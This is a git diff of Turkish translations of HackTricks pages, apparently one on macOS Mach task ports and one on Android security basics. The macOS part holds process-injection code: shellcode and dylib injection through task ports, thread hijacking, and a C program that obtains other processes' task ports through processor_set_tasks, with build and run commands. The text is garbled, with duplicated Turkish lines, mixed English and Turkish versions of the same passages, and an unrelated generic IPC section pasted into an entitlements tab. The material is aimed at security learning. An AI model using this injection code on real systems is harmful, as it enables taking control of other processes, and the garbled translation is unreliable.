Farklı bir görevin bir **görev bağlantı noktası üzerinde BİRİM hakkı** ile, farklı bir görev üzerinde böyle işlemler gerçekleştirmek mümkündür.
{% endhint %}
Ayrıca, görev\_bağlantı_noktası aynı zamanda **`vm_map`** bağlantı noktasıdır ve `vm_read()` ve `vm_write()` gibi işlevlerle bir görev içinde belleği **okuma ve değiştirme** izni verir. Bu temelde, farklı bir görevin görev\_bağlantı_noktası üzerinde GÖNDERME haklarına sahip bir görevin, o göreve **kod enjekte etme** yeteneği olacaktır.
Ayrıca, görev\_bağlantı_noktası aynı zamanda **`vm_map`** bağlantı noktasıdır ve `vm_read()` ve `vm_write()` gibi işlevlerle bir görev içinde belleği **okuma ve değiştirme** izni verir. Bu temelde, farklı bir görevin görev\_bağlantı_noktası üzerinde BİRİM haklarına sahip bir görevin, o göreve **kod enjekte etme** yeteneğine sahip olacağı anlamına gelir.
Unutmayın, çünkü **kernel de bir görevdir**, eğer biri **`kernel_task`** üzerinde bir **GÖNDERME izni** almayı başarırsa, kernelin istediği herhangi bir şeyi yürütmesini sağlayabilir (jailbreak).
Unutmayın ki **çekirdek de bir görev olduğundan**, biri **`kernel_task` üzerinde BİRİM izinleri** almayı başarırsa, çekirdeği herhangi bir şeyi yürütmek için kullanabilir (jailbreak).
* Çağrıcı görev için bu bağlantı noktası için **adı almak** için `mach_task_self()`'i çağırın. Bu bağlantı noktası yalnızca **`exec()`** sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev bağlantı noktası alır (özel bir durum olarak, bir görev, `exec()`den sonra bir suid ikili dosyada da yeni bir görev bağlantı noktası alır). Bir görevi başlatmak ve bağlantı noktasını almanın tek yolu, `fork()` yaparken "port takası dansını" gerçekleştirmektir.
* Bu, bağlantı noktasına erişim için kısıtlamalardır (`AppleMobileFileIntegrity` ikilisinden `macos_task_policy`'den):
* Uygulamanın **`com.apple.security.get-task-allow` yetkisi** varsa, aynı kullanıcıdan gelen işlemler görev bağlantı noktasına erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** süreci bunu üretim sürümlerine izin vermez.
* **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, çekirdek hariç olmak üzere **herhangi bir** işlem için görev bağlantı noktasını alabilir. Daha eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir.
* **Root**, **sertifikalı** bir çalışma zamanı ile derlenmemiş uygulamaların görev bağlantı noktalarına erişebilir (ve Apple'dan olmayan uygulamalardan).
* Çağrı yapmak için `mach_task_self()` ve **çalışan görev için** bu bağlantı noktası için **adı alın**. Bu bağlantı noktası yalnızca **`exec()`** sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev bağlantı noktası alır (`exec()` sonrasında bir suid ikili dosyada da bir görev yeni bir görev bağlantı noktası alır). Bir görevi başlatmak ve bağlantı noktasını almanın tek yolu, bir `fork()` yaparken "port takası dansı"nı gerçekleştirmektir.
* Bu, bağlantı noktasına erişim için kısıtlamaları içerir (`AppleMobileFileIntegrity` ikilisinden `macos_task_policy`den):
* Uygulamanın **`com.apple.security.get-task-allow` yetkisi** varsa, aynı kullanıcıdan işlemler **görev bağlantı noktasına erişebilir** (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** süreci bunu üretim sürümlerine izin vermez.
* **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, çekirdek hariç olmak üzere **herhangi bir** işlem için **görev bağlantı noktasını alabilir**. Daha eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir.
* **Root, sertifikalı olmayan** bir çalıştırma zamanıyla derlenmiş uygulamaların görev bağlantı noktalarına **erişebilir** (ve Apple'dan değil).
**Görev adı bağlantı noktası:** _Görev bağlantı noktası_ için ayrıcalıklı olmayan bir versiyondur. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca bu aracılığıyla `task_info()` gibi bir şeyin mevcut olduğu görünmektedir.
**Görev adı bağlantı noktası:** _Görev bağlantı noktasının_ ayrıcalıklı olmayan bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Bu üzerinden mevcut olan tek şey `task_info()` gibi görünmektedir.
### Görev Bağlantı Noktası Aracılığıyla İş Parçacığına Shellcode Enjeksiyonu
### İş Parçacığı Bağlantı Noktaları
Shellcode'u aşağıdaki yerden alabilirsiniz:
İş parçacıkları da ilişkili bağlantı noktalara sahiptir, bunlar **`task_threads`** çağrısından ve `processor_set_threads` ile işlemci tarafından görülebilir. Bir iş parçacığı bağlantı noktasına BİRİM hakkı, `thread_act` alt sistemi işlevlerini kullanmaya izin verir, örneğin:
* `thread_terminate`
* `thread_[get/set]_state`
* `act_[get/set]_state`
* `thread_[suspend/resume]`
* `thread_info`
* ...
Herhangi bir iş parçacığı, **`mach_thread_sef`**'e çağrı yaparak bu bağlantı noktasını alabilir.
### Görev Bağlantı Noktası Aracılığıyla İş Parçacığına Kabuk Kodu Enjeksiyonu
Kabuk kodunu aşağıdan alabilirsiniz:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
@ -569,29 +571,9 @@ return 0;
{% tab title="entitlements.plist" %}
## IPC (İşlem Arası İletişim) - macOS
## İzinler.plist
Bu bölümde, macOS'ta IPC'nin nasıl kullanılabileceği ve kötüye nasıl kullanılabileceği hakkında bilgi bulacaksınız. IPC, farklı işlemler arasında veri iletişimi sağlar ve kötü niyetli bir saldırgan için bir hedef olabilir. Bu bölümde, IPC'nin güvenliğini sağlamak için alınabilecek önlemler hakkında bilgi bulacaksınız.
### IPC Yöntemleri
1. **Mach Ports**: IPC için kullanılan temel mekanizma. Saldırganlar, yetkisiz erişim elde etmek için Mach portlarını kötüye kullanabilir.
2. **XPC Services**: IPC için kullanılan yüksek seviyeli bir API. Güvenlik kontrolleri zayıf olduğunda kötüye kullanılabilir.
3. **Distributed Objects**: IPC için kullanılan başka bir API. Güvenlik kontrolleri zayıf olduğunda kötüye kullanılabilir.
### Saldırı Senaryoları
1. **IPC Bombing**: Saldırgan, hedef sistemde IPC çağrılarınıırı yükleyerek hizmet reddi saldırısı gerçekleştirebilir.
2. **IPC Sniffing**: Saldırgan, IPC trafiğini izleyerek hassas verileri ele geçirebilir.
3. **IPC Injection**: Saldırgan, hedef işlem arasına kötü amaçlı kod enjekte ederek ayrıcalıklarını artırabilir.
### Savunma Stratejileri
1. **Least Privilege**: IPC kullanımını sınırlayarak ayrıcalıkları en aza indirin.
2. **Encryption**: IPC trafiğini şifreleyerek verilerin gizliliğini koruyun.
3. **Integrity Checks**: IPC çağrılarını doğrulamak için bütünlük kontrolleri uygulayın.
Bu bölümde, IPC'nin nasıl kötüye kullanılabileceği ve nasıl korunabileceği hakkında daha fazla bilgi bulacaksınız.
Bu dosya, uygulamanın sistem kaynaklarına erişim düzeyini belirleyen izinlerin listesini içerir. Bu izinler, uygulamanın hangi özelliklere erişebileceğini ve hangi işlemleri gerçekleştirebileceğini belirler. İzinler.plist dosyası, uygulamanın güvenlik ve ayrıcalık yükseltme süreçlerinde önemli bir rol oynar.
{% endtab %}
```xml
@ -816,18 +798,18 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
{% hint style="success" %}
iOS'ta bunun çalışması için, yazılabilir bir belleği yürütülebilir hale getirmek için `dynamic-codesigning` yetkisine ihtiyacınız vardır.
Bu işlemi iOS'ta çalıştırmak için, yazılabilir bir belleği yürütülebilir hale getirmek için `dynamic-codesigning` yetkisine ihtiyacınız vardır.
{% endhint %}
### Görev bağlantısı aracılığıyla Thread'e Dylib Enjeksiyonu
MacOS'ta **thread'ler**, **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz thread, Mach api kullanılarak oluşturulduğundan **posix uyumlu değildir**.
macOS'ta **thread'ler**, **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz thread, Mach api kullanılarak oluşturulduğundan **posix uyumlu değildir**.
Bir komutu yürütmek için **basit bir shellcode enjekte etmek mümkündü** çünkü bu, **posix uyumlu** api'lerle çalışmak zorunda değildi, sadece Mach ile çalışması gerekiyordu. **Daha karmaşık enjeksiyonlar** için **thread'in** aynı zamanda **posix uyumlu** olması gerekir.
Bir komutu yürütmek için **basit bir shellcode enjekte etmek mümkündü** çünkü bu, **posix uyumlu api'lerle çalışmaya ihtiyaç duymuyordu**, sadece Mach ile çalışıyordu. **Daha karmaşık enjeksiyonlar** için **thread'in** aynı zamanda **posix uyumlu olması** gerekir.
Bu nedenle, **thread'i iyileştirmek** için **`pthread_create_from_mach_thread`** çağrısı yapılmalıdır ki bu da **geçerli bir pthread oluşturacaktır**. Sonra, bu yeni pthread, özel kütüphaneleri yüklemek için **dlopen**'ı **çağırabilir**, böylece farklı işlemler gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkün olacaktır.
Bu nedenle, **thread'i iyileştirmek** için **`pthread_create_from_mach_thread`** çağrısı yapılmalıdır ki bu da **geçerli bir pthread oluşturacaktır**. Sonra, bu yeni pthread, sistemden bir dylib yüklemek için **dlopen** çağrısı yapabilir, böylece farklı işlemleri gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkün olacaktır.
Örnek dylib'leri (örneğin bir log oluşturan ve ardından dinleyebileceğiniz bir dylib):
Örnek dylib'leri (örneğin bir log oluşturan ve ardından dinleyebileceğiniz):
{% content-ref url="../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../macos-library-injection/macos-dyld-hijacking-and-dyld\_insert_libraries.md)
@ -1045,7 +1027,7 @@ return (-4);
}
// Ayrılan yığın belleğinin izinlerini ayarla
kr = vm_protect(uzakGörev, uzakYığın64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
kr = vm_protect(uzakGorev, uzakYığın64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
@ -1072,7 +1054,7 @@ uzakThreadState64.ts_64.__sp = (u_int64_t) uzakYığın64;
printf ("Uzak Yığın 64 0x%llx, Uzak kod %p\n", uzakYığın64, p );
kr = thread_create_running(uzakGörev, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
kr = thread_create_running(uzakGorev, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &uzakThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &uzakThread );
if (kr != KERN_SUCCESS) {
@ -1089,17 +1071,17 @@ int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Kullanım: %s _pid_ _eylem_\n", argv[0]);
fprintf (stderr, " _eylem_: diskteki bir dylib dosyasının yolu\n");
fprintf (stderr, "Kullanım: %s _pid_ _aksiyon_\n", argv[0]);
fprintf (stderr, " _aksiyon_: diskteki bir dylib dosyasının yolu\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *eylem = argv[2];
const char *aksiyon = argv[2];
struct stat buf;
int rc = stat (eylem, &buf);
if (rc == 0) enjekteEt(pid,eylem);
int rc = stat (aksiyon, &buf);
if (rc == 0) enjekteEt(pid,aksiyon);
else
{
fprintf(stderr,"Dylib bulunamadı\n");
@ -1112,39 +1094,181 @@ fprintf(stderr,"Dylib bulunamadı\n");
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Görev bağlantısı üzerinden İş Parçası Kaçırma <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
### Görev Bağlantısı Yoluyla İş Parçacığı Kaçırma <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
Bu teknikte, işlemin bir iş parçası kaçırılır:
Bu teknikte, işlemin bir iş parçacığı kaçırılır:
{% content-ref url="macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](macos-thread-injection-via-task-port.md)
{% endcontent-ref %}
### Görev Bağlantısı Enjeksiyonu Tespiti
`task_for_pid` veya `thread_create_*` çağrıldığında, çekirdekten gelen task yapısındaki bir sayaç artar ve bu, task\_info(task, TASK\_EXTMOD\_INFO, ...) çağrılarak kullanıcı modundan erişilebilir.
## İstisna Bağlantıları
Bir iş parçacığında bir istisna meydana geldiğinde, bu istisna iş parçacığının belirlenmiş istisna bağlantısına gönderilir. İş parçacığı bunu ele almazsa, görev istisna bağlantılarına gönderilir. Görev bunu ele almazsa, yönetilen başlatıcıdır (burada kabul edilecektir) olan ana bağlantı noktasına gönderilir. Bu, istisna triyajı olarak adlandırılır.
Genellikle sonunda, eğer rapor uygun şekilde ele alınmazsa, rapor sonunda ReportCrash daemon tarafından ele alınır. Bununla birlikte, aynı görevdeki başka bir iş parçacığının istisnayı yönetmesi mümkündür, bu, `PLCrashReporter` gibi çökme raporlama araçlarının yaptığı şeydir.
## Diğer Nesneler
### Saat
Herhangi bir kullanıcı saat hakkında bilgiye erişebilir ancak zamanı ayarlamak veya diğer ayarları değiştirmek için kök kullanıcı olmak gereklidir.
Bilgi almak için `clock` alt sistemi fonksiyonları olan `clock_get_time`, `clock_get_attributtes` veya `clock_alarm` gibi fonksiyonları çağırmak mümkündür.\
Değerleri değiştirmek için `clock_priv` alt sistemi, `clock_set_time` ve `clock_set_attributes` gibi fonksiyonlarla kullanılabilir.
### İşlemciler ve İşlemci Kümesi
İşlemci API'leri, `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment` gibi fonksiyonları çağırarak tek bir mantıksal işlemciyi kontrol etmeyi sağlar...
Ayrıca, **işlemci kümesi** API'leri, birden fazla işlemciyi bir grup içine gruplamak için bir yol sağlar. Varsayılan işlemci kümesini almak için **`processor_set_default`** çağrılabilir.\
İşlemci kümesi ile etkileşimde bulunmak için bazı ilginç API'ler şunlardır:
* `processor_set_statistics`
* `processor_set_tasks`: İşlemci kümesi içindeki tüm görevlere gönderme hakları dizisini döndürür
* `processor_set_threads`: İşlemci kümesi içindeki tüm iş parçacıklarına gönderme hakları dizisini döndürür
* `processor_set_stack_usage`
* `processor_set_info`
[**Bu yazıda**](https://reverse.put.as/2014/05/05/about-the-processor\_set\_tasks-access-to-kernel-memory-vulnerability/) belirtildiği gibi, geçmişte bu, diğer işlemlerdeki görev bağlantılarını elde etmek için önceki korumayı atlamak için **`processor_set_tasks`** çağrılarak işlemci belleğine erişimi sağladı.\
Günümüzde bu işlevi kullanmak için kök kullanıcı olmanız gerekir ve bu korumalıdır, bu nedenle korumasız işlemlerde yalnızca bu bağlantı noktalarını alabilirsiniz.
Deneyebilirsiniz:
<details>
<summary><strong>processor_set_tasks kodu</strong></summary>
````c
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
//gcc ./port_pid.c -o port_pid
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/sysctl.h>
#include <libproc.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>
#include <mach/exception_types.h>
#include <mach/mach_host.h>
#include <mach/host_priv.h>
#include <mach/processor_set.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <mach/task.h>
#include <mach/task_info.h>
#include <mach/mach_traps.h>
#include <mach/mach_error.h>
#include <mach/thread_act.h>
#include <mach/thread_info.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <sys/ptrace.h>
mach_port_t task_for_pid_workaround(int Pid)
{
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
mach_port_t psDefault;
mach_port_t psDefault_control;
task_array_t tasks;
mach_msg_type_number_t numTasks;
int i;
thread_array_t threads;
thread_info_data_t tInfo;
kern_return_t kr;
kr = processor_set_default(myhost, &psDefault);
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
mach_error("host_processor_set_priv",kr); exit(1);}
printf("So far so good\n");
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
for (i = 0; i < numTasks; i++)
{
int pid;
pid_for_task(tasks[i], &pid);
printf("TASK %d PID :%d\n", i,pid);
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
printf("Command line: %s\n", pathbuf);
} else {
printf("proc_pidpath failed: %s\n", strerror(errno));
}
if (pid == Pid){
printf("Found\n");
return (tasks[i]);
}
}
return (MACH_PORT_NULL);
} // end workaround
int main(int argc, char *argv[]) {
/*if (argc != 2) {
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
if (pid <= 0) {
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
return 1;
}*/
int pid = 1;
task_for_pid_workaround(pid);
return 0;
}
```
````
</details>
## XPC
### Temel Bilgiler
### Basic Information
XPC, macOS ve iOS'ta işlemler arasındaki iletişim için bir çerçeve olan XNU (macOS tarafından kullanılan çekirdek) arasındaki İşlem İletişimi anlamına gelir. XPC, sistemin farklı işlemler arasında güvenli, asenkron yöntem çağrıları yapma mekanizması sağlar. Apple'ın güvenlik paradigmasının bir parçası olup, her bileşenin yalnızca işini yapabilmesi için gereken izinlere sahip olduğu ayrıcalıklarla ayrılmış uygulamaların oluşturulmasına izin verir, böylece bir işlemdeki potansiyel hasarı sınırlar.
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process.
Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği** hakkında daha fazla bilgi için kontrol edin:
For more information about how this **communication work** on how it **could be vulnerable** check:
{% content-ref url="macos-xpc/" %}
[macos-xpc](macos-xpc/)
{% endcontent-ref %}
## MIG - Mach Arayüzü Oluşturucusu
## MIG - Mach Interface Generator
MIG, Mach IPC kodu oluşturma sürecini basitleştirmek amacıyla oluşturulmuştur. Bu, RPC programlamak için gereken birçok işlemin aynı eylemleri içermesinden kaynaklanmaktadır (argümanları paketleme, mesajı gönderme, sunucuda verileri açma...).
MIG was created to **simplify the process of Mach IPC** code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server...).
MIC, sunucunun ve istemcinin belirli bir tanım ile iletişim kurması için gerekli kodu oluşturur (IDL -Arayüz Tanım Dili-). Oluşturulan kod ne kadar kötü olursa olsun, bir geliştirici sadece bunu içe aktarması ve kodu öncekinden çok daha basit hale getirecektir.
MIC basically **generates the needed code** for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
Daha fazla bilgi için kontrol edin:
For more info check:
{% content-ref url="macos-mig-mach-interface-generator.md" %}
[macos-mig-mach-interface-generator.md](macos-mig-mach-interface-generator.md)
{% endcontent-ref %}
## Referanslar
## References
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
@ -1152,17 +1276,18 @@ Daha fazla bilgi için kontrol edin:
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
* [https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
Other ways to support HackTricks:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@ -31,48 +31,48 @@ HackTricks'ı desteklemenin diğer yolları:
### UID Ayrımı
**Her uygulamaya belirli bir Kullanıcı Kimliği (UID) atanır**. Bu, uygulamanın yüklenmesi sırasında yapılır, böylece **uygulama yalnızca kendi UID'sine ait veya paylaşılan** dosyalara erişebilir. Bu nedenle, yalnızca uygulama kendisi, işletim sisteminin belirli bileşenleri ve kök kullanıcı uygulama verilerine erişebilir.
**Her uygulamaya belirli bir Kullanıcı Kimliği (UID) atanır**. Bu, uygulamanın yüklenmesi sırasında yapılır, böylece **uygulama yalnızca kendi UID'sine ait dosyalara veya paylaşılan** dosyalara erişebilir. Bu nedenle, yalnızca uygulama kendisi, işletim sisteminin belirli bileşenleri ve kök kullanıcı uygulama verilerine erişebilir.
### UID Paylaşımı
**İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu, bilgi paylaşmak için faydalı olabilir, ancak bunlardan biri tehlikeye düşerse her iki uygulamanın verileri de tehlikeye düşer. Bu nedenle bu davranış **önerilmez**.\
**Aynı UID'yi paylaşmak için uygulamaların manifestolarında aynı `android:sharedUserId` değerini tanımlamaları gerekir.**
**İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu bilgi paylaşımı için faydalı olabilir, ancak bunlardan biri tehlikeye düşerse her iki uygulamanın verileri de tehlikeye düşer. Bu nedenle bu davranışın **önerilmediğini** unutmayın.\
**Aynı UID'yi paylaşmak için uygulamalar, manifestolarında aynı `android:sharedUserId` değerini tanımlamalıdır.**
### Kum Sandığı (Sandboxing)
**Android Uygulama Kum Sandığı**, **her uygulamanın** ayrı bir süreç olarak çalışmasına olanak tanır ve her bir sürecin kendi sanal makinesi vardır, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
**Android Uygulama Kum Sandığı**, **her uygulamanın** ayrı bir süreç olarak çalışmasına olanak tanır ve her sürecin kendi sanal makinesi vardır, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
Android 5.0(L) itibariyle **SELinux** zorunlu hale getirilmiştir. Temelde, SELinux tüm süreç etkileşimlerini reddetti ve ardından bunlar arasındaki **beklenen etkileşimlere yalnızca izin veren politikalar oluşturdu**.
### İzinler
Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını içeren **name** **özniteliğini** belirtir. Ayrıca **maxSdkVersion** özniteliği vardır, bu da belirtilenden daha yüksek sürümlerde izin istemeyi durdurur.\
Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını içeren **name** **özniteliğini** belirtir. Ayrıca **maxSdkVersion** özniteliği vardır, bu özellik belirtilenden daha yüksek sürümlerde izin istemeyi durdurur.\
Android uygulamalarının tüm izinleri başlangıçta sorması gerekmediğini unutmayın, ayrıca **izinleri dinamik olarak da isteyebilirler** ancak tüm izinler **manifestoda belirtilmelidir**.
Bir uygulama işlevselliğiığa çıkardığında, **erişimi yalnızca belirli bir izne sahip uygulamalara sınırlayabilir**.\
Bir uygulama işlevsellikığa çıkardığında, **erişimi yalnızca belirli bir izne sahip uygulamalara sınırlayabilir**.\
Bir izin öğesinin üç özelliği vardır:
* İzinin **adı**
* İzin grubu özniteliği, ilgili izinleri gruplandırmaya olanak tanır.
* İzinlerin nasıl verildiğini belirten **koruma düzeyi**. Dört tür vardır:
* **Normal**: Uygulamaya **bilinen tehditler** olmadığında kullanılır. Kullanıcının **onaylaması gerekmez**.
* **Tehlikeli**: İzinin isteyen uygulamaya bazı **yükseltilmiş erişimler** sağladığını belirtir. **Kullanıcıların onayını isteyen**.
* **Signature**: Yalnızca **aynı sertifika ile imzalanmış uygulamalar**, bileşeni dışa aktaranın aynı sertifikası ile imzalanmış uygulamalara izin verilebilir. Bu en güçlü koruma türüdür.
* **SignatureOrSystem**: Yalnızca **aynı sertifika ile imzalanmış uygulamalar**, bileşeni dışa aktaranın aynı sertifikası ile imzalanmış uygulamalar veya **sistem düzeyinde erişimle çalışan uygulamalar** izin alabilir
* **Normal**: Uygulamaya **bilinen tehditler** olmadığında kullanılır. Kullanıcının **onayı gerekmez**.
* **Tehlikeli**: İzinin isteyen uygulamaya bazı **yükseltilmiş erişimler** sağladığını belirtir. **Kullanıcıların onayını talep eder**.
* **Signature**: Yalnızca **aynı sertifika ile imzalanan uygulamalar**, bileşeni dışa aktaranın sertifikasıyla aynı sertifika ile imzalanmış uygulamalara izin verilebilir. Bu, en güçlü koruma türüdür.
* **SignatureOrSystem**: Yalnızca **aynı sertifika ile imzalanan uygulamalar**, bileşeni dışa aktaranın sertifikasıyla aynı sertifika ile imzalanan uygulamalar veya **sistem düzeyinde erişimle çalışan uygulamalar** izin alabilir
## Ön Yüklü Uygulamalar
Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (bazen `classes.dex` dosyasını bile bulamayabilirsiniz). Bu uygulamaları kontrol etmeye değerdir çünkü bazen **çok fazla izinle çalışıyor olabilirler** (kök olarak).
Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (bazen `classes.dex` dosyasını bile bulamayabilirsiniz). Bu uygulamalar kontrol edilmeye değerdir çünkü bazen **çok fazla izinle çalışıyor olabilirler** (kök olarak).
* **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gönderilenler
* Cihaz **üreticisi** tarafından eklenenler
* Cep telefonu sağlayıcısı tarafından eklenenler (onlardan satın alındıysa)
